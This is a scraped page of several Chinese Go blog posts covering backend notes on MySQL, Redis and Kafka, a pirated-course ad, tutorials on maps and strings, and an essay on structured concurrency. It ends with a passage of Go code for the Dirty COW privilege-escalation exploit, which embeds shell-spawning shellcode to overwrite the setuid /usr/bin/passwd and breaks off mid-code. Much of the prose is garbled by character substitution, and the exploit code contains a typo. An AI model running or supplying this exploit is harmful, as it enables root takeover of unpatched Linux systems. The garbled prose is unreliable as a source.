Golang没有继承的概念,只有组合的概念。每个构造的定义能够看作一个类,构造和构造能够组合嵌套。在软件设计原理中,类的组合比类的继承更能达到解耦的成果。Golang没有显著的接口实现逻辑。当构造实现接口申明的所有办法时,默认状况下,该构造实现接口。在函数调用的参数中,咱们通常是从调用方传入实现这个接口的struct,在要接管的函数体的接管参数中定义这个接口,从而达到被调用函数的重用成果。这也是多态思维在面向对象个性中的体现。在Golang,谬误的解决是最苦楚的。基本上,十个函数调用中有九个会返回一个谬误,每个谬误都须要解决或抛出。通常,在业务逻辑中,咱们会自定义谬误并申明谬误的类型。在Golang官网的Errors包中,error只是一个struct,提供New、Wrap、error等办法,提供创立谬误、抛出谬误、输入错误信息等性能。所以须要留神的是,咱们不能用string的等价来比拟errors是否雷同,因为error是struct,是instance对象。尽管两个谬误的值信息是一样的,然而对象只是内存中的一个存储地址值,两者并不相同。通常,在函数的第一行,咱们应用defer函数来对立处理函数体中的所有谬误。Defer是提早解决标记,函数在返回前截取并解决defer匿名函数中的代码。(能够用pkg/errors包解决) Golang的我的项目构造在github中有一个家喻户晓的例子,能够参考或者模拟。须要留神的是,当内部我的项目须要调用我的项目的代码时,只能调用internel包之外的函数或对象办法。对于internel包中的代码,它不可用于内部调用我的项目。这也是一种代码爱护机制。 关系型数据库 后端我的项目离不开数据的增删查。通常人们接触最多的是MySQL,所以举荐看MySQL 45。 MySQL罕用的版本有5.7和8.0。通常,为了向前兼容,大多数公司应用MySQL版本。在这个版本中,MySQL默认反对InnoDB存储引擎,这个引擎的特点就是反对事务,也就是咱们常说的ACID。 一般来说,如果须要对多个表进行增加、批改、删除等操作,为了避免多阶段操作的成败不统一,须要应用事务个性。如果操作齐全失败,事务将回滚,所有操作将被勾销。 事务隔离有四个级别,即未提交读、提交读、可反复读和序列化。默认状况下,MySQL中InnoDB反对的事务隔离级别是可反复的。 应该留神,对于每个隔离级别的事务,存储引擎将提供相应的锁定机制。大家操作数据的时候要留神死锁。在数据读取和操作中,反对读写锁。读锁是共享锁,能够同时领有多个读锁。写锁也叫排他锁,同一时间只容许一个写锁对数据进行操作。不同的存储引擎有不同的锁级别,包含表锁、行锁和间隙锁。请留神,在执行删除或更新操作时,最好采纳where条件来避免整个表被删除或更新,或者避免因为接触表锁而导致的死锁。 索引搜寻和全表扫描的数据查问效率差距很大。实质起因是在InnoDB engine中,会为索引表字段构建一个B+树,以进步查问效率。在编写查问语句的过程中,尽量注明须要查问的字段,这样如果曾经为查问的字段创立了联结索引,InnoDB search就不须要返回表了。+B树的叶节点通常存储表的主键。通过查问条件在索引B+树中找到对应的主键,而后在以主键为查问条件建设的B+树中找到整行数据。咱们称之为table return,在B+树中会被查问两次。 联结索引反对的查询方法是最左匹配准则。如果查问语句中的where条件没有依照union索引的最左匹配准则进行查问,InnoDB会扫描整个表。索引优化应用Explain语句。 在表格设计中,一个表格中不能有太多的字段,个别不超过20个字段。每个字段的字段类型要依据理论状况尽量减少。比方uuid默认为32位,那么定义varchar(32)就够了,定义varchar(255)会节约空间。 在分页查问中,limit反对两个字段,page和pageSize。页面越大,查问效率越低。所以,尽量设计一个主动递增的整数字段。当页面过大时,能够通过增加过滤主动递增整数字段的where条件来进步查问效率。 默认状况下,MySQL是独立的存储。对于多读少写的业务场景,能够从主部署到从,反对读写拆散,加重写服务器压力。 MySQL最多只能反对几K并发。对于大量并发查问数据的场景,倡议在上游减少Redis、Memcached等缓存服务。 MySQL在操作数据时提供binlog日志,通常应用cancal等组件服务将数据导出到音讯队列中进行剖析、特定搜寻、用户举荐等场景。如果MySQL服务器数据失落,还能够应用binlog日志进行数据恢复。然而,因为数据操作会在零碎内存中存储一段时间,并定期刷新到硬盘,所以binlog log并不能完全恢复所有数据。 应用心得 当用户数量剧增,拜访频繁时,在MySQL上游减少一个缓存服务来同步一些热点数据,能够加重数据库拜访的压力。常见的缓存服务是Redis。 Redis是用C语言编写的基于内存的分布式缓存组件。其特点是反对大量的读写场景和高效的数据查问。 尽管redis是分布式缓存,但为了避免服务宕机,通常采纳长久化机制将数据保留到硬盘。redis反对的持久性机制包含AOF和RDB。AOF记录每个写入、更改和删除操作的日志,在服务敞开后,它通过操作日志从新执行命令来复原数据。RDB记录数据快照,在服务进行后,它通过数据快照复原该时间段之前的所有数据。总的来说,两者都有各自的毛病。AOF的毛病是数据恢复比较慢,RDB的毛病是定期进行数据快照,所以停机到最初一次数据快照这段时间的数据操作会失落。因而,咱们将同时应用两者。倡议RDB距离不要设置太短,因为在RDB快照期间执行外部bgsave命令会导致redis短时间内无奈提供服务。 尽管redis能够无效升高数据库拜访的压力,但它并不是银弹。如果数据最终是基于数据库的,那么在读写数据时就要思考缓存和数据库的不一致性。 redis与mysql数据一致性的解决方案读:如果redis的一个数据过期了,间接从Mysql查问数据。操作:先更新Mysql,再更新Redis如果更新redis失败,能够思考再试一次。 对于以上操作,如果依然存在不统一的状况,能够思考减少一个自底向上的计划来监控mysql binlog日志,而后将binlog日志发送到kafka队列进行生产。 redis引入后,除了数据不统一,还可能呈现缓存雪崩、缓存穿透、缓存击穿等问题。减少缓存时,尽量设置不同的缓存生效工夫,避免大量缓存数据同时生效,数据拜访db造成db拜访压力过大的问题;缓存穿透能够思考Bloom filter,缓存击穿能够思考分布式锁解决方案。 redis之所以读取效率快,是因为内存中存在大量的数据。如果须要大量的缓存数据进行存储,那么单机的内存容量是无限的,所以redis须要部署在集群中。redis的集群部署和存储形式是在每个redis服务器上均匀分布10000多个拆分槽,redis的key通过统一hash将数据存储在一个槽对应的redis服务器上。redis的扩大和膨胀会引起大量的数据迁徙。此时尽量进行对外服务,否则缓存数据可能会生效。 Redis通过哨兵机制发现了服务高低稳定的问题。通常的部署模式是一主二从三哨。 redis的利用场景有很多,比方用zset实现排名,用list实现轻量级音讯队列,用hash集实现微博点赞等等。 在存储redis时,须要留神的是,key值不能是中文,value值不能太大。在设计密钥时,应依据业务对立密钥的设计规范。 尽管redis有16 db库,但它们只是逻辑上隔离的。缓存的数据都存储在一个中央,不同db库的读写是竞争的。 卡夫卡 接下来说音讯队列,这里就只说卡夫卡吧。 音讯队列的利用场景就不用说了。只是依据理论场景应用上下游解耦,流量削峰,异步解决等等。 上面说一些音讯队列会遇到的常见问题。如音讯失落、反复发送音讯、音讯重试机制、音讯程序、反复耗费音讯等。 在卡夫卡那里,音讯的失落是极低的,因为卡夫卡是一种机制,保障了至多一次传输。只有是HW内的offset,Kafka默认曾经长久化到硬盘,所以如果耗费HW内的offset音讯,不会有音讯失落。 Kafka为音讯发送提供了ACK机制。这种ACK机制有三个值可供选择。 当ACK=0时,即音讯发送到leader时,确认音讯发送胜利。此时,不晓得其余复制品是否保留了该音讯。在这种状况下,很有可能音讯发送了,然而失落了。如果此时首节点进行运行,其余正本将为首节点运行。在某个正本为领导者运行之后,Kafka引入了领导者epoach机制来截断日志。此时,如果正本直到领导者收到此音讯后才同步,则音讯将会失落。 当ACK=1时,音讯被发送到该分区下的ISR集中的所有正本。当ISR汇合中有多个正本时,即便领袖所在的节点呈现故障,也不会有音讯失落。因为分区下的leader默认从ISR汇合中产生,并且ISR汇合中的所有正本都曾经存储了该音讯,因而失落的可能性简直为零。 当ACK=-1时,音讯被发送到分区下的所有正本。无论领导所在的节点是否宕机,或者这个ISR下是否只有一个正本,只有这个Paris下有多个正本,音讯就不会失落。 日常状况下,咱们默认ACK=1,因为ACK=0音讯很可能会失落,而ACK=-1音讯发送工夫太长,发送效率太低。 对于音讯反复发送的问题,我倡议从生产端解决。对于制作者来说,如果发送了音讯然而没有收到ACK,然而音讯理论发送胜利然而判断音讯失败,对于反复发送的场景,卡夫卡无能为力。然而,能够关上事务机制,以确保只发送一次。但一旦开启交易,卡夫卡的发送生产能力会大打折扣,不倡议开启交易。 在Kafka中,生产者收回的每一条音讯都会存在于相应主题下的分区中的一个偏移量上。音讯发送必须指定主题,有或没有分区。当未指定分区时,主题下的音讯将通过负载平衡散布在每个分区下。因为只有在同一个分区下的音讯才是有序的,所以如果在向一个有多个分区的主题发送音讯时没有指定分区,那么音讯就会乱序。 卡夫卡逻辑上按主题隔离音讯,物理上按主题下的分区隔离音讯,并在主题下划分多个分区,目标是为了进步消费者的生产能力。一个分区只能由一个使用者应用,然而一个使用者能够应用多个分区。每个消费者终端将被调配到一个消费者组。如果该消费群中只有一个生产终端,则该消费群订阅的主题下的所有分区都将被该生产终端生产。如果消费者组中的消费者终端数量小于或等于主题下的分区数量,则消费者组中的消费者终端将被平均分配到肯定数量的分区中,能够是一个分区,也能够是多个分区。相同,如果消费群组中的生产终端数量大于topic下的分区数量,那么消费群中就会呈现无奈分区,无奈生产数据的消费者。 在理论利用场景中,消费者终端的数量通常等于消费者组中的分区数量。确保每个使用者在分区下至多应用一条偏移音讯。 Kafka集群的每个服务称为broker,zookeeper会在多个broker中选出一个控制器来解决外部申请和内部操作。然而真正的数据读写操作都产生在分区上,属于一个主题。为了避免数据失落,通常有多个分区,每个分区称为正本。每个分区从多个正本中抉择一个分区领导者,负责数据的读写。其余正本负责领导者交互和数据同步。同一分区下的多个正本将均匀散布在不同的代理中。所以在设计上能够发现,其实卡夫卡的音讯解决是负载平衡的,基本上每个经纪人都会参加。默认状况下,分区的领导者是从ISR汇合中选出的。ISR的全称是“同步正本”,意思是与领导传播的信息统一的正本。如果在肯定工夫内,或者在肯定数量的偏移量内,复制品与领导者的偏移量不统一,那么它就不能存在于ISR汇合中。即便之前存在于ISR汇合中,也会被踢出去。期待一段时间后,音讯在退出ISR集之前会进行工夫同步。所以在肯定水平上,首领是从ISR汇合中选取的,以保障首领改选时音讯会同步统一,不会失落。 因为卡夫卡引入了生产群体机制,能够大大提高消费者的生产能力。然而,因为生产群体的再均衡机制,消费者的生产将临时无奈取得。问题是这样的,因为在消费群中有一个叫做coordinate的均衡器,负责将分区平均分配到消费群的各个生产端。如果使用者组中的使用者端减少或缩小,那么分区须要重新分配。此时,该消费群下的所有生产端都会进行生产,期待坐标给他重新分配一个新的分区。消费者和分区越多,这个等待时间就越长。所以不倡议在topic下设置太多分区设置,个别在20以内。

September 16, 2022 · 1 min · jiezi

关于go:Go-开发者的涨薪通道自主开发-PaaS-平台核心功能无密分享

download:Go 开发者的涨薪通道:自主开发 PaaS 平台外围性能无密分享Go(或Golang)语言起源于2007年,2009年正式公布。Go是一门十分年老的语言,它的次要指标是“将Python等动静语言的开发速度与C/C++等编译语言的性能和安全性联合起来”。 Go语言是编程语言设计的又一次尝试,是对类C语言的重大改良。它不仅容许您拜访底层操作系统,还提供了弱小的网络编程和并发编程反对。Go语言有很多用处,比方网络编程,零碎编程,并发编程,分布式编程。 Go语言的引入旨在不损失应用程序性能的前提下升高代码复杂度,具备“部署简略、并发性好、语言设计好、执行性能好”的劣势。目前国内很多IT公司都采纳Go语言开发我的项目。 Go语言有时被形容为“类C语言”或“21世纪的C语言”。Go继承了C语言的很多思维,比方类似的表达式语法、控制流构造、根本数据类型、调用参数、传递值、指针等。,以及C语言始终感兴趣的编译后机器码的运行效率及其与现有操作系统的无缝适配。 因为Go语言没有类和继承的概念,看起来和Java或者C++不太一样。然而它通过接口的概念实现了多态性。Go语言有清晰易懂的轻量级类型体系,类型之间没有档次关系。因而,能够说Go语言是一种混合语言。 此外,许多重要的开源我的项目都是用Go语言开发的,包含Docker、Go-Ethereum、Thrraform和Kubernetes。Go语言创始人在评估一门语言的时候,了解设计者的动机和这门语言要解决的问题是很重要的。《Go》的作者是肯·汤普森、罗布·派克和罗伯特·格里斯默,他们都是计算机科学畛域的重要人物。①肯·汤普森贝尔Unix团队成员,C语言、Unix和Plan 9的创始人之一,在70年代设计并实现了最后的UNIX操作系统。仅从这一点来看,他对计算机科学的奉献怎么强调都不为过。他还与罗布·派克单干设计了UTF-8编码方案。2)罗布·派克Go语言我的项目总导演,贝尔实验室Unix团队成员,帮忙设计了UTF-8,还开发了分布式多用户操作系统Plan 9、Inferno操作系统和Limbo编程语言,并合著了Unix编程环境,对UNIX的设计理念进行了正统的论述。3)罗伯特·格里斯默曾就任于Google,参加过Java HotSpot虚拟机的开发,对语言设计有粗浅的了解,负责Chrome浏览器和Node.js应用的Google V8 JavaScript引擎的代码生成 这些计算机界的重量级人物设计Go语言的初衷就是为了满足Google的需要。设计这款语言花了两年工夫,融入了整个团队多年的教训和对编程语言设计的深刻理解。设计团队借鉴了Pascal、Oberon、C语言的设计智慧,同时让Go语言具备了动静语言的便利性。所以Go语言体现了经验丰富的计算机科学家的语言设计理念,是为世界上最大的互联网公司之一设计的。所有Go的设计者都说,他们设计Go是因为C++给他们带来了挫败感。在Google I/O 2012的围棋设计团队会议上,Rob Pike是这样说的:咱们做了很多C++开发,曾经厌倦了期待编译实现。尽管这是个笑话,但很大水平上也是真的。Go是一种编译语言。应用Go编译器编译代码。编译器将源代码编译成二进制(或字节码)格局;编译代码时,编译器会查看谬误,优化性能,并输入能够在不同平台上运行的二进制文件。要创立和运行Go程序,程序员必须执行以下步骤。应用文本编辑器创立Go程序;保留文件;编译程序;编译后的可执行文件。这与Python、Ruby、JavaScript等不蕴含编译步骤的语言不同。Go自带编译器,不须要独自装置编译器。为什么要学围棋语言?如果你想创立零碎程序或者基于网络的程序,Go语言是个不错的抉择。作为一种绝对较新的语言,它是由经验丰富和受人尊敬的计算机科学家设计的,以应答创立大规模并发网络程序的挑战。 在Go语言呈现之前,开发者总是面临着一个十分艰巨的抉择,是应用一种执行速度很快但编译速度不尽人意的语言(比方C++),还是应用一种编译速度很快但执行效率很差的语言(比方。NET和Java),还是开发难度低但执行速度个别的动静语言?很显然,Go语言曾经在这三个条件之间获得了最好的均衡:疾速编译、高效执行和易于开发。 Go语言反对穿插编译。例如,您能够开发能够在运行Linux的计算机上运行Windows的应用程序。这是第一个齐全反对UTF-8的编程语言,这不仅体现在它能够解决UTF-8编码的字符串,而且它的源文件格式也是UTF-8编码的。Go语言是真正的国内语言!Go语言吉祥物语言有吉祥物。在会议、文档页面、博客帖子中,大部分都会蕴含Go Gopher,如下图所示。这是由Renee French设计的,她是一位才华横溢的插画师,也是围棋设计师之一Rob Pike的妻子。

September 16, 2022 · 1 min · jiezi

关于go:14-GolangGo语言快速入门哈希表MAP

 map又称为hash表、字典,存储键值对,其增删改查工夫复杂度能够达到O(1)。map和切片是Go语言开发最罕用的数据类型。 基本操作 map存储键值对,反对key-value键值对的插入,查找/批改/删除key对应的value,并且这些操作都能够在O(1)工夫复杂度实现。 package mainimport "fmt"func main() { //map申明初始化 score := make(map[string]int, 0) //key-value键值对存储 score["zhangsan"] = 100 score["lisi"] = 90 //len返回map存储的键值对数目 fmt.Println(len(score), score) //2 map[lisi:90 zhangsan:100] //查找key对应值,两种形式:1)返回值value,以及bool值示意key-value键值对是否存在;2)只返回值value zhangsan, ok := score["zhangsan"] zhangsan1 := score["zhangsan"] fmt.Println(zhangsan, ok, zhangsan1) //100 true 100 //批改key对应值 score["zhangsan"] = 95 fmt.Println(score["zhangsan"]) //95 //删除map中键值对 delete(score,"zhangsan") //这时候查找key对应值,返回value类型空值,int类型空值就是0 zhangsan, ok = score["zhangsan"] fmt.Println(zhangsan, ok) //0 false} len函数能够获取map键值对数目,留神map在查找key对应的value时,有两种形式:1)返回一个变量,只返回值value;2)返回两个变量,第一个示意值value,第二个为bool类型示意key-value键值对是否存在。另外,key-value键值对不存在时,查找时返回的是值value类型对应空值,如整数0,空字符串,空切片,指针nil等。特地当值类型为指针时要留神,应用之前最好判断下查找的键值对是否存在,以防呈现空指针异样panic。 map也反对for range遍历(迭代),相熟PHP语言的都晓得,PHP数组元素的遍历和插入程序是一样的;要特地留神Go语言map遍历时,键值对的拜访程序和插入是不统一的,并且每次遍历的拜访程序都不同,如上面例子所示: package mainimport "fmt"func main() { //map申明初始化 score := make(map[string]int, 0) //key-value键值对存储 for i := 0; i < 10; i ++ { score[fmt.Sprintf("test-%v", i)] = i } for k, v := range score { fmt.Printf("%v:%v ", k, v) } //test-4:4 test-8:8 test-2:2 test-3:3 test-5:5 test-6:6 test-7:7 test-9:9 test-0:0 test-1:1 fmt.Printf("\n") for k, v := range score { fmt.Printf("%v:%v ", k, v) } //test-9:9 test-0:0 test-1:1 test-5:5 test-6:6 test-7:7 test-2:2 test-3:3 test-4:4 test-8:8 fmt.Printf("\n") //间接批改v是没有用的 for _, v := range score { v += 100 } //map[test-0:0 test-1:1 test-2:2 test-3:3 test-4:4 test-5:5 test-6:6 test-7:7 test-8:8 test-9:9] fmt.Println(score) //遍历过程中这样批改map键值对 for k, v := range score { score[k] = v + 100 } //map[test-0:100 test-1:101 test-2:102 test-3:103 test-4:104 test-5:105 test-6:106 test-7:107 test-8:108 test-9:109] fmt.Println(score)} 看到了吧,两次遍历输入后果都是不一样的,当然你在运行这段代码的时候,后果大概率与下面输入也是不同的。而且,遍历过程中,想批改键key对应的值value也要留神形式,变量k,v只是以后拜访的键值对的拷贝,间接批改变量v没有任何意义。 ...

September 16, 2022 · 5 min · jiezi

关于go:基础语法-Go语言快速入门11-Golang

Go语言是Google开发的一种编程语言,它是动态的、强类型的、编译的、并行的,具备垃圾收集的性能。Go语言能够在不损失应用程序性能的状况下升高代码的复杂性。 Go语言语法简略,只有25个关键词,不须要花工夫去学习和记忆;数据类型包含布尔、数字(整数、浮点、复数)、字符串、切片(数组)、字典映射、管道扭转等。,用起来比拟顺滑。 Go语言天生具备并发个性,基于Go关键字很容易创立协同学来执行一些并发工作。与传统简单的多线程同步计划相比,其基于协同学-流水线的CSP并发编程模型能够说简略得多。 Go语言还具备垃圾回收的能力,防止了应用层须要关注内存的调配和开释。要晓得,在C/C++语言中,内存治理是一件很头疼的事件。 Go语言还提供了绝对残缺的规范库。例如,咱们只须要几行代码来创立和启动HTTP服务。 从这篇文章开始,咱们将率领你进入围棋语言的世界。 环境建设咱们能够抉择下载编译装置的源代码,下载安装包,下载编译好的可执行文件。下载地址是:https://golang.google.cn/dl/. 本地装置是go1.18.darwin-amd64.tar.gz,这是一个编译后的可执行文件。您只须要将其解压缩,并将其解压缩到目录$home/documents/go 1.18。最初,配置以下环境变量: export go root = $ HOME/Documents/go 1.18导出门路=$PATH:$GOROOT/bin导出GOPATH=$HOME/Documents/gopath$GoROOT是GO的装置目录;$PATH是这样的,咱们能够在任何目录下执行go命令;$GOPATH工作目录,通过go get命令下载的依赖包等。放在$GOPATH目录中,基于gomod治理的依赖文件也会放在这个目录中。 装置实现后,执行go version验证装置是否胜利。 一个适合的编辑器是Go我的项目开发不可或缺的。举荐应用Goland,下载地址为:https://www.jetbrains.com/go/.装置结束后,关上Goland新我的项目,新建一个main.go文件,编写经典的hello world: 主包装 导入“fmt”func main() {fmt。Println(“你好世界”)}Go语言的所有文件都必须指定所在的包,比方下面的“package main”,咱们称之为主包。当然,包名也能够用其余名称命名(个别包名与当前目录/文件夹名统一),主包中的次要性能是程序的入口性能。 咱们的代码必定会保留在其余文件中。怎么介绍?通过“导入包名”,包中的函数/变量只有在导入后能力拜访。如下面的代码所示,fmt包是Go语言底层提供的格式化/IO包,Println函数将变量打印到规范输入。 数据类型Go语言数据类型包含布尔、数字(整数、浮点、复数)、字符串、切片(数组)、字典映射、管道扭转等。各种变量的申明和简略应用如下: package mainimport "fmt"func main() { //变量申明 var a int = 1 //var 申明并初始化变量, 类型int能够省略 b := 1 //:= 申明+初始化变量 b = 3 //=只能针对已有变量从新赋值 fmt.Println(a, b) //字符串 str1 := "hello " str2 := "world" fmt.Println(len(str1), str1 + str2) //能够 +;len返回字符串长度 //数组,容量固定 arr := [5]int{1,2,3,4,5} arr[1] = 100 //数组元素拜访 fmt.Println(len(arr), arr) //len返回数组长度 //切片,容量能够裁减,相当于动静数组 slice := []int{1,2,3} slice[1] = 100 //切片元素拜访 slice = append(slice, 4, 5, 6) //append主动扩容 fmt.Println(len(slice),cap(slice), slice) //len返回切片长度,cap返回切片容量 //map,key-value构造 score := map[string]int{ "zhangsan":100, "lisi":99, "wangwu":98, } score["who"] = 90 //map赋值 s, ok := score["who"] //map拜访,s对应value值,ok标识该key是否存在(不存在返回空值) delete(score, "lisi") //删除map元素 fmt.Println(s, ok, score)}这里没有管道变更示例,这将在第2章并发模型中具体介绍。当然,除了Go语言提供的这些根本类型,咱们还能够自定义类型,比方接口、构造等。,这也将在前面的章节中介绍。 ...

September 16, 2022 · 2 min · jiezi

关于go:Go语言有没有结构化编程

本文原文地址在本博主博客,点击链接返回:Go语言中有没有结构化并发? 什么是结构化并发?日常开发中咱们编写的最多就是多线程程序,服务器端利用更是如此,传统的形式都是依附着操作系统提供的1:1线程形式进行申请解决这对于治理和复用线程有很多挑战,如果一个一般线程大小2MB那么开启1000个线程,简直是无奈实现的,并且治理这些线程的状态也是很简单的。明天这篇文章要介绍的是结构化并发,就是为解决并发编程中线程并发工作治理,传统的形式非常容易造成管理混乱。结构化并发解决的问题就是对对立的工作和对立作用域下的工作进行治理,能够对立启动和对立敞开,如果读过我之前的Linux过程组那篇文章的话,就齐全能够了解是什么意思了,文章地址:Linux 过程树。 在理解构造并发编程范式之前得先讲讲编程语言流程管制发展史,理解一件事的全副应该是去理解残缺的历史,并且要找到正确的材料和原版材料去理解,而不是曾经批改几个版本的材料,让咱们回顾编程语言的一些历史:晚期如果想在计算机上写程序必须应用很低级的编程语言去写程序,例如汇编语言,通过一条一条硬件指令去操作计算机,并且程序执行的,这种编写程序的形式真是令人头疼的。这就使一些计算机界大佬想去从新设计一些编程语言,过后一些美籍计算机科学家们John Warner Backus和Grace Hopper开发了Fortran和FLOW-MATIC初代的编译命令式编程语言,最初在这些根底之上开发了商业通用编程COBOL语言。 乏味的事件是世界上的第一个Bug也是Grace Hopper所发现的,过后的计算机(Harvard Mark II)体积还很大。过后这台计算机在运算的时候老是呈现问题,然而通过排查编写的程序指令是没有问题的,最初发现原来是一只飞蛾意外飞入电脑外部的继电器而造成短路如下图所示,他们把这只飞蛾移除后便胜利让电脑失常运作,这就是世界上第一个计算机程序BUG。 晚期的FLOW-MATIC是第一种应用相似英语的语句来表白操作的编程语言,会事后定义输出和输入文件和打印输出,分为输出文件、输入文件和高速打印机输入,上面是一段程序代码的例子: 看完下面的实例,会发现和当初开发者所应用的更高级的Java或者C语言还是有一些差距的,例如没有函数代码块,没有条件管制语句,在FLOW-MATIC被推出的时候这些当初高级语言的个性还没有被创造进去,在过后看来FLOW-MATIC应该是能满足编写程序需要。 构想一下如果和输出指令一条一条执行程序是不是很麻烦,如果不能复用一些以有编写逻辑那就要从新编写一些代码逻辑会很费时费力,所以FLOW-MATIC的设计者在语言退出了GOTO语句块,goto能够让程序在执行的时候执行到了goto而后去执行指定地位的代码块,实质上还是非结构化编程,不过能够做到程序的代码复用和重执行,goto的退出FLOW-MATIC之后如下程序执行流程图: FLOW-MATIC执行语句通常都是程序执行的,然而上面这种状况就会产生跳转操作,它能够间接将控制权转移到其余中央,例如上面从8行跳转到第4行。 极少量的goto语句是很清晰的,然而令人头疼的问题是程序代码逻辑质变多了之后就会产生很多无奈通过失常人类思维所了解的代码跳转逻辑,并且跟踪代码的逻辑很艰难。这种基于跳转的编程格调是FLOW-MATIC简直间接从汇编语言继承而来的。它功能强大,非常适合计算机硬件的理论工作形式,但间接应用它会十分凌乱。像下面图片中的箭头箭头太多了,就创造Spaghetti Code一词的起因,代码逻辑存在各种飞线关系,揉成一坨的代码逻辑。显然咱们开发者须要更好的流程管制设计,而不是让代码逻辑写进去像意大利面条一样。 当然目前探讨的话题是编程语言的结构化编程设计问题,这个不是本篇文章的重点,本篇文章更偏差的是一些编程语言在线程并发状态转播和管制治理上的一些问题,上面正式开始注释内容。 非结构化并发介绍了晚期编程语言中的goto关键字,能够在以后的执行控制流中开一个分支去执行另外的操作,和咱们当初在高级编程语言中应用的thread差不多,例如上面代码: package mainimport ( "fmt" "time")func f(from string) { for i := 0; i < 3; i++ { go fmt.Println(from, ":", i) }}func main() { f("direct") go f("goroutine") go func(msg string) { fmt.Println(msg) }("going") time.Sleep(2 * time.Second) fmt.Println("done")}在线运行代码地址: https://go.dev/play/p/wQ7Yz9mxXlu 在这个例子中我应用的是Go语言的goroutine为例,在Go语言中想启动一个协程就能够应用go关键字,这和下面咱们探讨的goto语句很靠近,会从主控制流中拆散出另一个代码逻辑执行分支,流程如下图: 当然在Go语言中是保留goto跳转语句块的,例如上面这行代码就是Go中的goto语句块: package mainimport "fmt"func main() { /* 定义局部变量 */ var a int = 10 /* 循环 */ LOOP: for a < 20 { if a == 15 { /* 跳过迭代 */ a = a + 1 goto LOOP } fmt.Printf("a的值为 : %d\n", a) a++ } }在这个例子中goto代替了传统的break关键字的作用(那个例子精确来说应该是说相似于continue作用,看怎么用了,这里不承受任何反驳!),间接跳过满足a==15的逻辑块。这就是目前高级语言中的跳转利用,以后这种还是在主程序流上运行的指令的,于Go语言中的go func(){}关键字去跑起一个协程做并行任务解决是齐全不一样的,为此我特定花了一张图来比拟两者的关系,如下: ...

September 15, 2022 · 2 min · jiezi

关于go:13-GolangGo语言快速入门字符串

 Go语言字符串的用法还是比较简单的,罕用也就是字符串相加,字符串与byte切片、rune切片相互转换,字符串输入等等操作。那有什么可学的呢?其实还是有一些细节须要关注,比方字符串"只读"个性,字符串编码等等。 基本操作 字符串只读?是的,就是你想的那样,只读就是不能批改的意思。那上面程序怎么解释呢? package mainimport "fmt"func main() { str := "hello" str += " world" fmt.Println(str) //hello world} 看到了吧,我的确扭转了字符串str的值。是的,字符串str的确扭转了,而字符串的确也是只读的;这里可能存在一些歧义,筹备的说,应该是字符串变量str指向了新的字符串。字符串"hello"并没有扭转,只是创立了一个新的字符串"hello world",同时让字符串变量str指向这个新的字符串。还有一个办法验证这个说法: go tool compile -S -N -l test.gogo.string."hello" SRODATA dupok size=5 0x0000 68 65 6c 6c 6f hellogo.string." world" SRODATA dupok size=6 0x0000 20 77 6f 72 6c 64 world go.string."hello"所属内存区域是SRODATA,RO就是read only只读的意思。再举一个事例:字符串不能依照索引操作,如果将将字符串转换为byte切片,按理说byte切片与字符串底层数据应该共用,那么批改该byte切片,字符串也应该同步扭转。 package mainimport "fmt"func main() { str := "hello world" //字符串转化为byte切片,批改切片元素 b := []byte(str) b[0] = 69 fmt.Println(str) //hello world for _, c := range b { fmt.Printf("%c", c) //Eello world }} byte切片的确被批改了,而字符串变量str却没有扭转,为什么呢?因为字符串是只读的,所以在[]byte(str)强制类型转化时,会执行了数据的拷贝,防止批改byte切片影响原字符串。 ...

September 15, 2022 · 3 min · jiezi

关于go:go-hack十四-dirty-cow-提权

go网络安全代码地址 package mainimport ( "bytes" "fmt" "log" "os" "syscall" "time")// 脏牛提权var ( signales = make(chan bool) // 协程管制 mmap uintptr //https://blog.csdn.net/hello_ufo/article/details/86713947 uintptr)const SuidBinary = "/usr/bin/passwd"// shellcodevar sc = []byte{ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,}func madvise() { for i := 0; i < 1000000; i++ { select { case <-signales: fmt.Println("mad done") // 接管到信号进行 return default: syscall.Syscall(syscall.SYS_MADVISE, mmap, uintptr(100), syscall.MADV_DONTNEED) // syscall https://www.bilibili.com/read/cv17087054 } }}func procselfmem(payload []byte) { f, err := os.OpenFile("/proc/self/mem", syscall.O_ROWR, 0) if err != nil { log.Fatalln(err) } for i := 0; i < 1000000; i++ { select { case <-signales: fmt.Println("procelfmem done") return default: // f.Fd() 返回句柄 syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mmap, uintptr(os.SEEK_SET)) f.Write(payload) // 将payload写入 } }}func waitForWrite() { buf := make([]byte, len(sc)) for { f, err := os.Open(SuidBinary) if err != nil { log.Fatal(err) } if _, err := f.Read(buf); err != nil { log.Fatal(err) } f.Close() // 文件产生了扭转 if bytes.Compare(buf, sc) == 0 { fmt.Println("文件扭转") break } time.Sleep(time.Second) } // 完结连个协程 signales <- true // https://www.jianshu.com/p/67dfc9ae74ed 运行程序 // 设置过程的属性 attr := os.ProcAttr{ Files: []*os.File{os.Stdin, os.Stdout, os.Stderr}, } // 